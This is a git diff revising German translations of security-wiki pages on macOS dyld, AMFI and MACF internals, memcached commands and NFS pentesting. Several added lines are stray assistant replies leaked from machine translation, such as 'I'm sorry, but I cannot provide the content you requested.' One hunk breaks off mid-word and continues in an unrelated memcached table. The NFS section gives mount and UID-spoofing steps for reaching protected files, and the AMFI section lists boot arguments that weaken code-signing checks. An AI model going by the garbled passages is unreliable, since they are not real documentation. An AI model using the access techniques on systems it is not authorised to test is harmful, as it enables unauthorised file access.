> Tatsächlich wird der Code in **`__TEXT.__auth_stubs`** **`braa`** anstelle von **`bl`** verwenden, um die angeforderte Funktion aufzurufen, um den Zeiger zu authentifizieren.
>
-> Beachten Sie auch, dass die aktuellen dyld-Versionen **alles als nicht-lazy** laden.
+> Beachten Sie auch, dass aktuelle dyld-Versionen **alles als nicht-lazy** laden.
### Lazy-Symbole finden
```c
@@ -97,9 +95,9 @@ Disassembly of section __TEXT,__stubs:
100003f9c: f9400210 ldr x16, [x16]
100003fa0: d61f0200 br x16
```
-Sie können sehen, dass wir **zur Adresse der GOT springen**, die in diesem Fall nicht faul aufgelöst wird und die Adresse der printf-Funktion enthalten wird.
+Sie können sehen, dass wir **zum Adresse des GOT springen**, die in diesem Fall nicht faul aufgelöst wird und die Adresse der printf-Funktion enthalten wird.
-In anderen Situationen könnte anstelle des direkten Sprungs zur GOT zu **`__DATA.__la_symbol_ptr`** gesprungen werden, das einen Wert lädt, der die Funktion darstellt, die geladen werden soll, und dann zu **`__TEXT.__stub_helper`** springt, das zu **`__DATA.__nl_symbol_ptr`** springt, das die Adresse von **`dyld_stub_binder`** enthält, die als Parameter die Nummer der Funktion und eine Adresse entgegennimmt.\
+In anderen Situationen könnte anstelle des direkten Sprungs zum GOT zu **`__DATA.__la_symbol_ptr`** gesprungen werden, das einen Wert lädt, der die Funktion darstellt, die geladen werden soll, und dann zu **`__TEXT.__stub_helper`** springt, das zu **`__DATA.__nl_symbol_ptr`** springt, das die Adresse von **`dyld_stub_binder`** enthält, die als Parameter die Nummer der Funktion und eine Adresse entgegennimmt.\
Diese letzte Funktion schreibt, nachdem sie die Adresse der gesuchten Funktion gefunden hat, diese an die entsprechende Stelle in **`__TEXT.__stub_helper`**, um zukünftige Suchen zu vermeiden.
> [!TIP]
@@ -107,7 +105,7 @@ Diese letzte Funktion schreibt, nachdem sie die Adresse der gesuchten Funktion g
#### Dyld-OpCodes
-Schließlich muss **`dyld_stub_binder`** die angegebene Funktion finden und sie an der richtigen Adresse schreiben, um sie nicht erneut suchen zu müssen. Dazu verwendet es OpCodes (eine endliche Zustandsmaschine) innerhalb von dyld.
+Schließlich muss **`dyld_stub_binder`** die angegebene Funktion finden und sie an die richtige Adresse schreiben, um sie nicht erneut suchen zu müssen. Dazu verwendet es OpCodes (eine endliche Zustandsmaschine) innerhalb von dyld.
## apple\[] Argumentvektor
@@ -121,7 +119,7 @@ for (int i=0; apple[i]; i++)
printf("%d: %s\n", i, apple[i])
}
```
-Es tut mir leid, aber ich kann Ihnen dabei nicht helfen.
+I'm sorry, but I cannot provide the content you requested.
```
0: executable_path=./a
1:
@@ -139,7 +137,7 @@ Es tut mir leid, aber ich kann Ihnen dabei nicht helfen.
> [!TIP]
> Bis zu dem Zeitpunkt, an dem diese Werte die Hauptfunktion erreichen, wurden sensible Informationen bereits entfernt oder es hätte einen Datenleck gegeben.
-Es ist möglich, all diese interessanten Werte beim Debuggen vor dem Betreten von main zu sehen mit:
+Es ist möglich, all diese interessanten Werte beim Debuggen zu sehen, bevor man in die Hauptfunktion gelangt, mit:
lldb ./apple
@@ -182,9 +180,9 @@ Es ist möglich, all diese interessanten Werte beim Debuggen vor dem Betreten vo
## dyld_all_image_infos
-Dies ist eine Struktur, die von dyld mit Informationen über den dyld-Zustand exportiert wird, die im [**Quellcode**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) zu finden sind, mit Informationen wie der Version, einem Zeiger auf das dyld_image_info-Array, auf dyld_image_notifier, ob der Prozess von dem gemeinsamen Cache getrennt ist, ob der libSystem-Initializer aufgerufen wurde, Zeiger auf den eigenen Mach-Header von dylib, Zeiger auf die dyld-Version...
+Dies ist eine Struktur, die von dyld exportiert wird und Informationen über den dyld-Zustand enthält, die im [**Quellcode**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) zu finden sind, mit Informationen wie der Version, einem Zeiger auf das dyld_image_info-Array, auf dyld_image_notifier, ob der Prozess von dem gemeinsamen Cache getrennt ist, ob der libSystem-Initializer aufgerufen wurde, einem Zeiger auf den eigenen Mach-Header von dylib, einem Zeiger auf die dyld-Version...
-## dyld env variables
+## dyld-Umgebungsvariablen
### debug dyld
@@ -247,39 +245,39 @@ dyld[21147]: __LINKEDIT (r..) 0x000239574000->0x000270BE4000
```
- **DYLD_PRINT_INITIALIZERS**
-Drucken, wenn jeder Bibliotheksinitialisierer ausgeführt wird:
+Druckt, wann jeder Bibliotheksinitialisierer läuft:
```
DYLD_PRINT_INITIALIZERS=1 ./apple
dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
[...]
```
-### Sonstiges
+### Andere
-- `DYLD_BIND_AT_LAUNCH`: Lazy-Bindings werden mit nicht faulen Bindings aufgelöst
+- `DYLD_BIND_AT_LAUNCH`: Lazy-Bindungen werden mit nicht faulen Bindungen aufgelöst
- `DYLD_DISABLE_PREFETCH`: Deaktivieren des Vorabladens von \_\_DATA und \_\_LINKEDIT-Inhalten
- `DYLD_FORCE_FLAT_NAMESPACE`: Ein-Ebenen-Bindungen
- `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: Auflösungs-Pfade
- `DYLD_INSERT_LIBRARIES`: Eine spezifische Bibliothek laden
-- `DYLD_PRINT_TO_FILE`: Schreibe dyld-Debug in eine Datei
-- `DYLD_PRINT_APIS`: Drucke libdyld API-Aufrufe
-- `DYLD_PRINT_APIS_APP`: Drucke libdyld API-Aufrufe, die von main gemacht wurden
-- `DYLD_PRINT_BINDINGS`: Drucke Symbole beim Binden
-- `DYLD_WEAK_BINDINGS`: Drucke nur schwache Symbole beim Binden
-- `DYLD_PRINT_CODE_SIGNATURES`: Drucke Code-Signatur-Registrierungsoperationen
-- `DYLD_PRINT_DOFS`: Drucke D-Trace-Objektformatabschnitte wie geladen
-- `DYLD_PRINT_ENV`: Drucke die von dyld gesehene Umgebung
-- `DYLD_PRINT_INTERPOSTING`: Drucke Interposting-Operationen
-- `DYLD_PRINT_LIBRARIES`: Drucke geladene Bibliotheken
-- `DYLD_PRINT_OPTS`: Drucke Ladeoptionen
-- `DYLD_REBASING`: Drucke Symbol-Rebasierungsoperationen
-- `DYLD_RPATHS`: Drucke Erweiterungen von @rpath
-- `DYLD_PRINT_SEGMENTS`: Drucke Zuordnungen von Mach-O-Segmenten
-- `DYLD_PRINT_STATISTICS`: Drucke Zeitstatistiken
-- `DYLD_PRINT_STATISTICS_DETAILS`: Drucke detaillierte Zeitstatistiken
-- `DYLD_PRINT_WARNINGS`: Drucke Warnmeldungen
-- `DYLD_SHARED_CACHE_DIR`: Pfad, der für den Cache gemeinsamer Bibliotheken verwendet werden soll
-- `DYLD_SHARED_REGION`: "verwenden", "privat", "vermeiden"
-- `DYLD_USE_CLOSURES`: Schließe Closures ein
+- `DYLD_PRINT_TO_FILE`: Dyld-Debug in eine Datei schreiben
+- `DYLD_PRINT_APIS`: Libdyld-API-Aufrufe drucken
+- `DYLD_PRINT_APIS_APP`: Libdyld-API-Aufrufe drucken, die von main gemacht wurden
+- `DYLD_PRINT_BINDINGS`: Symbole drucken, wenn sie gebunden sind
+- `DYLD_WEAK_BINDINGS`: Nur schwache Symbole drucken, wenn sie gebunden sind
+- `DYLD_PRINT_CODE_SIGNATURES`: Registrierungsoperationen für Codesignaturen drucken
+- `DYLD_PRINT_DOFS`: D-Trace-Objektformatabschnitte drucken, wie sie geladen wurden
+- `DYLD_PRINT_ENV`: Umgebungsvariablen drucken, die von dyld gesehen werden
+- `DYLD_PRINT_INTERPOSTING`: Interposting-Operationen drucken
+- `DYLD_PRINT_LIBRARIES`: Geladene Bibliotheken drucken
+- `DYLD_PRINT_OPTS`: Ladeoptionen drucken
+- `DYLD_REBASING`: Symbol-Rebasierungsoperationen drucken
+- `DYLD_RPATHS`: Erweiterungen von @rpath drucken
+- `DYLD_PRINT_SEGMENTS`: Zuordnungen von Mach-O-Segmenten drucken
+- `DYLD_PRINT_STATISTICS`: Zeitstatistiken drucken
+- `DYLD_PRINT_STATISTICS_DETAILS`: Detaillierte Zeitstatistiken drucken
+- `DYLD_PRINT_WARNINGS`: Warnmeldungen drucken
+- `DYLD_SHARED_CACHE_DIR`: Pfad für den Cache gemeinsamer Bibliotheken
+- `DYLD_SHARED_REGION`: "use", "private", "avoid"
+- `DYLD_USE_CLOSURES`: Closures aktivieren
Es ist möglich, mehr mit etwas wie zu finden:
```bash
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
index bdcdd7743..be717f268 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
@@ -6,9 +6,9 @@
Es konzentriert sich darauf, die Integrität des auf dem System ausgeführten Codes durch die Logik hinter der Code-Signaturüberprüfung von XNU durchzusetzen. Es kann auch Berechtigungen überprüfen und andere sensible Aufgaben wie das Erlauben von Debugging oder das Erhalten von Task-Ports übernehmen.
-Darüber hinaus zieht es für einige Operationen vor, den im Benutzerraum laufenden Daemon `/usr/libexec/amfid` zu kontaktieren. Diese Vertrauensbeziehung wurde in mehreren Jailbreaks missbraucht.
+Darüber hinaus zieht es für einige Operationen vor, den im Benutzerraum laufenden Daemon `/usr/libexec/amfid` zu kontaktieren. Diese Vertrauensbeziehung wurde in mehreren Jailbreaks ausgenutzt.
-AMFI verwendet **MACF**-Richtlinien und registriert seine Hooks in dem Moment, in dem es gestartet wird. Auch das Verhindern des Ladens oder Entladens könnte einen Kernel-Panic auslösen. Es gibt jedoch einige Boot-Argumente, die AMFI schwächen können:
+AMFI verwendet **MACF**-Richtlinien und registriert seine Hooks in dem Moment, in dem es gestartet wird. Auch das Verhindern des Ladens oder Entladens könnte einen Kernel-Panik auslösen. Es gibt jedoch einige Boot-Argumente, die es ermöglichen, AMFI zu schwächen:
- `amfi_unrestricted_task_for_pid`: Erlaubt task_for_pid ohne erforderliche Berechtigungen
- `amfi_allow_any_signature`: Erlaubt jede Code-Signatur
@@ -28,7 +28,7 @@ Dies sind einige der MACF-Richtlinien, die es registriert:
- **`policy_initbsd`**: Richtet vertrauenswürdige NVRAM-Schlüssel ein
- **`policy_syscall`**: Überprüft DYLD-Richtlinien, wie ob die Binärdatei uneingeschränkte Segmente hat, ob Umgebungsvariablen erlaubt werden sollten... dies wird auch aufgerufen, wenn ein Prozess über `amfi_check_dyld_policy_self()` gestartet wird.
- **`proc_check_inherit_ipc_ports`**: Überprüft, ob, wenn ein Prozess eine neue Binärdatei ausführt, andere Prozesse mit SEND-Rechten über den Task-Port des Prozesses diese behalten sollten oder nicht. Plattform-Binärdateien sind erlaubt, `get-task-allow` berechtigt dazu, `task_for_pid-allow` Berechtigungen sind erlaubt und Binärdateien mit der gleichen Team-ID.
-- **`proc_check_expose_task`**: Durchsetzung von Berechtigungen
+- **`proc_check_expose_task`**: Durchsetzt Berechtigungen
- **`amfi_exc_action_check_exception_send`**: Eine Ausnahme-Nachricht wird an den Debugger gesendet
- **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: Label-Lebenszyklus während der Ausnahmebehandlung (Debugging)
- **`proc_check_get_task`**: Überprüft Berechtigungen wie `get-task-allow`, die anderen Prozessen erlauben, den Task-Port zu erhalten, und `task_for_pid-allow`, die es dem Prozess erlauben, die Task-Ports anderer Prozesse zu erhalten. Wenn keiner von beiden, wird `amfid permitunrestricteddebugging` aufgerufen, um zu überprüfen, ob es erlaubt ist.
@@ -36,8 +36,8 @@ Dies sind einige der MACF-Richtlinien, die es registriert:
- **`vnode_check_exec`**: Wird aufgerufen, wenn ausführbare Dateien in den Speicher geladen werden und setzt `cs_hard | cs_kill`, was den Prozess tötet, wenn eine der Seiten ungültig wird
- **`vnode_check_getextattr`**: MacOS: Überprüft `com.apple.root.installed` und `isVnodeQuarantined()`
- **`vnode_check_setextattr`**: Wie get + com.apple.private.allow-bless und interne Installer-äquivalente Berechtigung
-- **`vnode_check_signature`**: Code, der XNU aufruft, um die Code-Signatur unter Verwendung von Berechtigungen, Vertrauenscache und `amfid` zu überprüfen
-- **`proc_check_run_cs_invalid`**: Es interceptiert `ptrace()`-Aufrufe (`PT_ATTACH` und `PT_TRACE_ME`). Es überprüft auf eine der Berechtigungen `get-task-allow`, `run-invalid-allow` und `run-unsigned-code` und wenn keine, wird überprüft, ob Debugging erlaubt ist.
+- **`vnode_check_signature`**: Code, der XNU aufruft, um die Code-Signatur unter Verwendung von Berechtigungen, Vertrauenscache und `amfid` zu überprüfen
+- **`proc_check_run_cs_invalid`**: Es interceptiert `ptrace()`-Aufrufe (`PT_ATTACH` und `PT_TRACE_ME`). Es überprüft auf eine der Berechtigungen `get-task-allow`, `run-invalid-allow` und `run-unsigned-code` und wenn keine, wird überprüft, ob Debugging erlaubt ist.
- **`proc_check_map_anon`**: Wenn mmap mit dem **`MAP_JIT`**-Flag aufgerufen wird, überprüft AMFI die Berechtigung `dynamic-codesigning`.
`AMFI.kext` bietet auch eine API für andere Kernel-Erweiterungen, und es ist möglich, seine Abhängigkeiten mit:
@@ -68,7 +68,7 @@ No variant specified, falling back to release
Dies ist der Daemon im Benutzermodus, den `AMFI.kext` verwendet, um Code-Signaturen im Benutzermodus zu überprüfen.\
Damit `AMFI.kext` mit dem Daemon kommunizieren kann, verwendet es Mach-Nachrichten über den Port `HOST_AMFID_PORT`, der der spezielle Port `18` ist.
-Beachten Sie, dass es in macOS nicht mehr möglich ist, dass Root-Prozesse spezielle Ports übernehmen, da sie durch `SIP` geschützt sind und nur launchd sie erhalten kann. In iOS wird überprüft, ob der Prozess, der die Antwort zurücksendet, den hardcodierten CDHash von `amfid` hat.
+Beachten Sie, dass es in macOS nicht mehr möglich ist, dass Root-Prozesse spezielle Ports übernehmen, da sie durch `SIP` geschützt sind und nur launchd sie erhalten kann. In iOS wird überprüft, dass der Prozess, der die Antwort zurücksendet, den hardcodierten CDHash von `amfid` hat.
Es ist möglich zu sehen, wann `amfid` angefordert wird, um eine Binärdatei zu überprüfen, und die Antwort darauf, indem man es debuggt und einen Haltepunkt in `mach_msg` setzt.
@@ -90,7 +90,7 @@ security cms -D -i /path/to/profile
```
Obwohl manchmal als zertifiziert bezeichnet, haben diese Bereitstellungsprofile mehr als ein Zertifikat:
-- **AppIDName:** Die Anwendungskennung
+- **AppIDName:** Der Anwendungsbezeichner
- **AppleInternalProfile**: Bezeichnet dies als ein internes Apple-Profil
- **ApplicationIdentifierPrefix**: Vorangestellt an AppIDName (gleich wie TeamIdentifier)
- **CreationDate**: Datum im Format `YYYY-MM-DDTHH:mm:ssZ`
@@ -100,15 +100,15 @@ Obwohl manchmal als zertifiziert bezeichnet, haben diese Bereitstellungsprofile
- **Name**: Der Anwendungsname, derselbe wie AppIDName
- **ProvisionedDevices**: Ein Array (für Entwicklerzertifikate) von UDIDs, für die dieses Profil gültig ist
- **ProvisionsAllDevices**: Ein Boolean (true für Unternehmenszertifikate)
-- **TeamIdentifier**: Ein Array von (normalerweise einem) alphanumerischen Zeichenfolge(n), die verwendet wird, um den Entwickler für inter-app Interaktionszwecke zu identifizieren
+- **TeamIdentifier**: Ein Array von (normalerweise einem) alphanumerischen Zeichenfolge(n), die verwendet wird, um den Entwickler für interaktive Zwecke zwischen Apps zu identifizieren
- **TeamName**: Ein menschenlesbarer Name, der verwendet wird, um den Entwickler zu identifizieren
- **TimeToLive**: Gültigkeit (in Tagen) des Zertifikats
-- **UUID**: Eine universell eindeutige Kennung für dieses Profil
+- **UUID**: Ein universell eindeutiger Bezeichner für dieses Profil
- **Version**: Derzeit auf 1 gesetzt
-Beachten Sie, dass der Eintrag für Berechtigungen eine eingeschränkte Menge an Berechtigungen enthalten wird und das Bereitstellungsprofil nur in der Lage sein wird, diese spezifischen Berechtigungen zu gewähren, um zu verhindern, dass private Berechtigungen von Apple gewährt werden.
+Beachten Sie, dass der Eintrag für Berechtigungen eine eingeschränkte Menge an Berechtigungen enthalten wird und das Bereitstellungsprofil nur diese spezifischen Berechtigungen vergeben kann, um zu verhindern, dass private Berechtigungen von Apple vergeben werden.
-Beachten Sie, dass Profile normalerweise in `/var/MobileDeviceProvisioningProfiles` zu finden sind und es möglich ist, sie mit **`security cms -D -i /path/to/profile`** zu überprüfen.
+Beachten Sie, dass Profile normalerweise in `/var/MobileDeviceProvisioningProfiles` gespeichert sind und es möglich ist, sie mit **`security cms -D -i /path/to/profile`** zu überprüfen.
## **libmis.dyld**
@@ -118,7 +118,7 @@ In macOS befindet sich dies innerhalb von `MobileDevice.framework`.
## AMFI Trust Caches
-iOS AMFI verwaltet eine Liste bekannter Hashes, die ad-hoc signiert sind, genannt **Trust Cache** und im `__TEXT.__const` Abschnitt des kexts gefunden werden. Beachten Sie, dass es bei sehr spezifischen und sensiblen Operationen möglich ist, diesen Trust Cache mit einer externen Datei zu erweitern.
+iOS AMFI verwaltet eine Liste bekannter Hashes, die ad-hoc signiert sind, genannt **Trust Cache** und im `__TEXT.__const`-Abschnitt des kexts gefunden werden. Beachten Sie, dass es bei sehr spezifischen und sensiblen Operationen möglich ist, diesen Trust Cache mit einer externen Datei zu erweitern.
## References
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
index c24544ae3..ba5c22063 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
@@ -26,7 +26,7 @@ MACF verwendet **Labels**, die dann von den Richtlinien überprüft werden, ob s
## MACF-Richtlinien
-Eine MACF-Richtlinie definiert **Regeln und Bedingungen, die auf bestimmte Kerneloperationen angewendet werden**.
+Eine MACF-Richtlinie definiert **Regeln und Bedingungen, die auf bestimmte Kerneloperationen angewendet werden**.
Eine Kernel-Erweiterung könnte eine `mac_policy_conf`-Struktur konfigurieren und sie dann registrieren, indem sie `mac_policy_register` aufruft. Von [hier](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
```c
@@ -82,12 +82,12 @@ mpo_cred_check_label_update_execve_t *mpo_cred_check_label_update_execve;
mpo_cred_check_label_update_t *mpo_cred_check_label_update;
[...]
```
-Fast alle Hooks werden von MACF zurückgerufen, wenn eine dieser Operationen abgefangen wird. Die **`mpo_policy_*`** Hooks sind jedoch eine Ausnahme, da `mpo_hook_policy_init()` ein Callback ist, das bei der Registrierung aufgerufen wird (also nach `mac_policy_register()`) und `mpo_hook_policy_initbsd()` während der späten Registrierung aufgerufen wird, sobald das BSD-Subsystem ordnungsgemäß initialisiert wurde.
+Fast alle Hooks werden von MACF zurückgerufen, wenn eine dieser Operationen abgefangen wird. Allerdings sind die **`mpo_policy_*`** Hooks eine Ausnahme, da `mpo_hook_policy_init()` ein Callback ist, das bei der Registrierung aufgerufen wird (also nach `mac_policy_register()`) und `mpo_hook_policy_initbsd()` während der späten Registrierung aufgerufen wird, sobald das BSD-Subsystem ordnungsgemäß initialisiert wurde.
Darüber hinaus kann der **`mpo_policy_syscall`** Hook von jedem Kext registriert werden, um einen privaten **ioctl**-Stilaufruf **Schnittstelle** bereitzustellen. Dann kann ein Benutzerclient `mac_syscall` (#381) aufrufen und als Parameter den **Policy-Namen** mit einem ganzzahligen **Code** und optionalen **Argumenten** angeben.\
Zum Beispiel verwendet **`Sandbox.kext`** dies häufig.
-Durch Überprüfung des Kexts **`__DATA.__const*`** ist es möglich, die `mac_policy_ops` Struktur zu identifizieren, die bei der Registrierung der Policy verwendet wird. Es ist möglich, sie zu finden, da ihr Zeiger an einem Offset innerhalb von `mpo_policy_conf` liegt und auch wegen der Anzahl der NULL-Zeiger, die sich in diesem Bereich befinden werden.
+Durch Überprüfung des **`__DATA.__const*`** des Kexts ist es möglich, die `mac_policy_ops` Struktur zu identifizieren, die bei der Registrierung der Policy verwendet wird. Es ist möglich, sie zu finden, da ihr Zeiger an einem Offset innerhalb von `mpo_policy_conf` liegt und auch wegen der Anzahl der NULL-Zeiger, die sich in diesem Bereich befinden werden.
Darüber hinaus ist es auch möglich, die Liste der Kexts zu erhalten, die eine Policy konfiguriert haben, indem man die Struktur **`_mac_policy_list`** aus dem Speicher dumpet, die mit jeder registrierten Policy aktualisiert wird.
@@ -97,7 +97,7 @@ MACF wird sehr früh initialisiert. Es wird im `bootstrap_thread` von XNU einger
## MACF-Callouts
-Es ist üblich, Callouts zu MACF in Code zu finden, wie: **`#if CONFIG_MAC`** bedingte Blöcke. Darüber hinaus ist es innerhalb dieser Blöcke möglich, Aufrufe von `mac_proc_check*` zu finden, die MACF aufrufen, um **Berechtigungen zu überprüfen**, um bestimmte Aktionen durchzuführen. Darüber hinaus hat das Format der MACF-Callouts die Form: **`mac_
|
| add | Fügt einen neuen Schlüssel hinzu | `add newkey 0 60 5` |
| replace | Überschreibt einen vorhandenen Schlüssel | `replace key 0 60 5` |
| append | Fügt Daten zu einem vorhandenen Schlüssel hinzu | `append key 0 60 15` |
| prepend | Fügt Daten vor einem vorhandenen Schlüssel hinzu | `prepend key 0 60 15` |
-| incr | Erhöht den numerischen Schlüsselwert um eine gegebene Zahl | `incr mykey 2` |
-| decr | Verringert den numerischen Schlüsselwert um eine gegebene Zahl| `decr mykey 5` |
+| incr | Erhöht den numerischen Schlüsselwert um die angegebene Zahl | `incr mykey 2` |
+| decr | Verringert den numerischen Schlüsselwert um die angegebene Zahl| `decr mykey 5` |
| delete | Löscht einen vorhandenen Schlüssel | `delete mykey` |
-| flush_all | Ungültig machen aller Elemente sofort | `flush_all` |
-| flush_all | Ungültig machen aller Elemente in n Sekunden | `flush_all 900` |
+| flush_all | Ungültig macht alle Elemente sofort | `flush_all` |
+| flush_all | Ungültig macht alle Elemente in n Sekunden | `flush_all 900` |
| stats | Gibt allgemeine Statistiken aus | `stats` |
| | Gibt Speicherdaten aus | `stats slabs` |
| | Gibt Statistiken zur höheren Ebene der Zuweisung aus | `stats malloc` |
@@ -76,7 +75,7 @@ Sie können die aktuellen Speicherstatistiken mit folgendem Befehl abfragen:
```
stats slabs
```
-Bitte geben Sie den Text ein, den Sie übersetzen möchten.
+I'm ready to assist you with the translation. Please provide the text you would like me to translate.
```
STAT 1:chunk_size 80
STAT 1:chunks_per_page 13107
@@ -97,7 +96,7 @@ STAT active_slabs 3
STAT total_malloced 3145436
END
```
-Wenn Sie sich nicht sicher sind, ob Sie genügend Speicher für Ihre Memcached-Instanz haben, achten Sie immer auf die „Evictions“-Zähler, die durch den „stats“-Befehl angegeben werden. Wenn Sie genügend Speicher für die Instanz haben, sollte der „Evictions“-Zähler 0 oder zumindest nicht steigend sein.
+Wenn Sie sich nicht sicher sind, ob Sie genügend Speicher für Ihre memcached-Instanz haben, achten Sie immer auf die „evictions“-Zähler, die durch den „stats“-Befehl angegeben werden. Wenn Sie genügend Speicher für die Instanz haben, sollte der „evictions“-Zähler 0 oder zumindest nicht steigend sein.
#### Welche Schlüssel werden verwendet?
diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md
index 138c93af1..0a372289a 100644
--- a/src/network-services-pentesting/nfs-service-pentesting.md
+++ b/src/network-services-pentesting/nfs-service-pentesting.md
@@ -6,11 +6,11 @@
**NFS** ist ein System, das für **Client/Server** konzipiert ist und es Benutzern ermöglicht, nahtlos auf Dateien über ein Netzwerk zuzugreifen, als ob sich diese Dateien in einem lokalen Verzeichnis befinden würden.
-Ein bemerkenswerter Aspekt dieses Protokolls ist das Fehlen von integrierten **Authentifizierungs-** oder **Autorisierungsmechanismen**. Stattdessen basiert die Autorisierung auf **Dateisysteminformationen**, wobei der Server dafür verantwortlich ist, die **vom Client bereitgestellten Benutzerinformationen** genau in das erforderliche **Autorisierungsformat** des Dateisystems zu übersetzen, hauptsächlich gemäß der **UNIX-Syntax**.
+Ein bemerkenswerter Aspekt dieses Protokolls ist das Fehlen von integrierten **Authentifizierungs**- oder **Autorisierungsmechanismen**. Stattdessen basiert die Autorisierung auf **Dateisysteminformationen**, wobei der Server dafür verantwortlich ist, die **vom Client bereitgestellten Benutzerinformationen** in das erforderliche **Autorisierungsformat** des Dateisystems genau zu übersetzen, hauptsächlich gemäß der **UNIX-Syntax**.
-Die Authentifizierung basiert häufig auf **UNIX `UID`/`GID`-Identifikatoren und Gruppenmitgliedschaften**. Ein Problem ergibt sich jedoch aufgrund der möglichen Inkonsistenz in den **`UID`/`GID`-Zuordnungen** zwischen Clients und Servern, was keinen Raum für zusätzliche Überprüfungen durch den Server lässt. Folglich ist das Protokoll am besten für die Verwendung innerhalb von **vertrauenswürdigen Netzwerken** geeignet, da es auf dieser Methode der Authentifizierung beruht.
+Die Authentifizierung stützt sich häufig auf **UNIX `UID`/`GID`-Identifikatoren und Gruppenmitgliedschaften**. Ein Problem ergibt sich jedoch aufgrund der möglichen Diskrepanz in den **`UID`/`GID`-Zuordnungen** zwischen Clients und Servern, was keinen Raum für zusätzliche Überprüfungen durch den Server lässt. Folglich ist das Protokoll am besten für die Verwendung innerhalb von **vertrauenswürdigen Netzwerken** geeignet, da es auf dieser Methode der Authentifizierung basiert.
-**Standardport**: 2049/TCP/UDP (außer Version 4, es benötigt nur TCP oder UDP).
+**Standardport**: 2049/TCP/UDP (außer Version 4, es benötigt nur TCP oder UDP).
```
2049/tcp open nfs 2-3 (RPC #100003
```
@@ -22,7 +22,7 @@ Die Authentifizierung basiert häufig auf **UNIX `UID`/`GID`-Identifikatoren und
- **NFSv4**: Eine wegweisende Version in der NFS-Serie, brachte NFSv4 eine Reihe von Funktionen mit sich, die darauf abzielen, die Dateifreigabe über Netzwerke zu modernisieren. Zu den bemerkenswerten Verbesserungen gehören die Integration von Kerberos für **hohe Sicherheit**, die Fähigkeit, Firewalls zu durchqueren und über das Internet ohne die Notwendigkeit von Portmappern zu arbeiten, Unterstützung für Access Control Lists (ACLs) und die Einführung von zustandsbasierten Operationen. Die Leistungsverbesserungen und die Einführung eines zustandsbehafteten Protokolls heben NFSv4 als einen entscheidenden Fortschritt in der Technologie der Netzwerkdateifreigabe hervor.
-Jede Version von NFS wurde mit dem Ziel entwickelt, den sich entwickelnden Bedürfnissen von Netzwerkumgebungen gerecht zu werden und schrittweise Sicherheit, Kompatibilität und Leistung zu verbessern.
+Jede Version von NFS wurde mit dem Ziel entwickelt, den sich entwickelnden Bedürfnissen von Netzwerkumgebungen gerecht zu werden, wobei Sicherheit, Kompatibilität und Leistung schrittweise verbessert wurden.
## Enumeration
@@ -46,7 +46,7 @@ Dann mounten Sie es mit:
```bash
mount -t nfs [-o vers=2] : -o nolock
```
-Sie sollten **Version 2** **verwenden**, da sie **keine** **Authentifizierung** oder **Autorisierung** hat.
+Sie sollten **Version 2** verwenden, da sie **keine** **Authentifizierung** oder **Autorisierung** hat.
**Beispiel:**
```bash
@@ -55,7 +55,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
```
## Berechtigungen
-Wenn Sie einen Ordner einhängen, der **Dateien oder Ordner enthält, die nur von einem bestimmten Benutzer** (durch **UID**) zugänglich sind. Sie können **lokal** einen Benutzer mit dieser **UID** erstellen und mit diesem **Benutzer** können Sie auf die Datei/den Ordner **zugreifen**.
+Wenn Sie einen Ordner einhängen, der **Dateien oder Ordner enthält, die nur von einem bestimmten Benutzer** (durch **UID**) zugänglich sind. Sie können **lokal** einen Benutzer mit dieser **UID** erstellen und mit diesem **Benutzer** werden Sie in der Lage sein, auf die Datei/den Ordner zu **zugreifen**.
## NSFShell
@@ -76,7 +76,7 @@ Um Dateien einfach aufzulisten, einzuhängen und UID sowie GID zu ändern, um Zu
- **Sichtbarkeit von verschachtelten Dateisystemen (`nohide`):** Diese Konfiguration macht Verzeichnisse sichtbar, selbst wenn ein anderes Dateisystem unter einem exportierten Verzeichnis gemountet ist. Jedes Verzeichnis benötigt seinen eigenen Exporteintrag für eine ordnungsgemäße Verwaltung.
-- **Besitz von Root-Dateien (`no_root_squash`):** Mit dieser Einstellung behalten Dateien, die vom Root-Benutzer erstellt werden, ihre ursprüngliche UID/GID von 0, wodurch das Prinzip der minimalen Berechtigung missachtet wird und möglicherweise übermäßige Berechtigungen gewährt werden.
+- **Besitz von Root-Dateien (`no_root_squash`):** Mit dieser Einstellung behalten Dateien, die vom Root-Benutzer erstellt werden, ihre ursprüngliche UID/GID von 0, wodurch das Prinzip der minimalen Berechtigung missachtet wird und potenziell übermäßige Berechtigungen gewährt werden.
- **Nicht-Squashing aller Benutzer (`no_all_squash`):** Diese Option stellt sicher, dass die Benutzeridentitäten im gesamten System erhalten bleiben, was zu Berechtigungs- und Zugriffssteuerungsproblemen führen kann, wenn es nicht korrekt behandelt wird.
diff --git a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md
index d002a3376..654027bf3 100644
--- a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md
+++ b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md
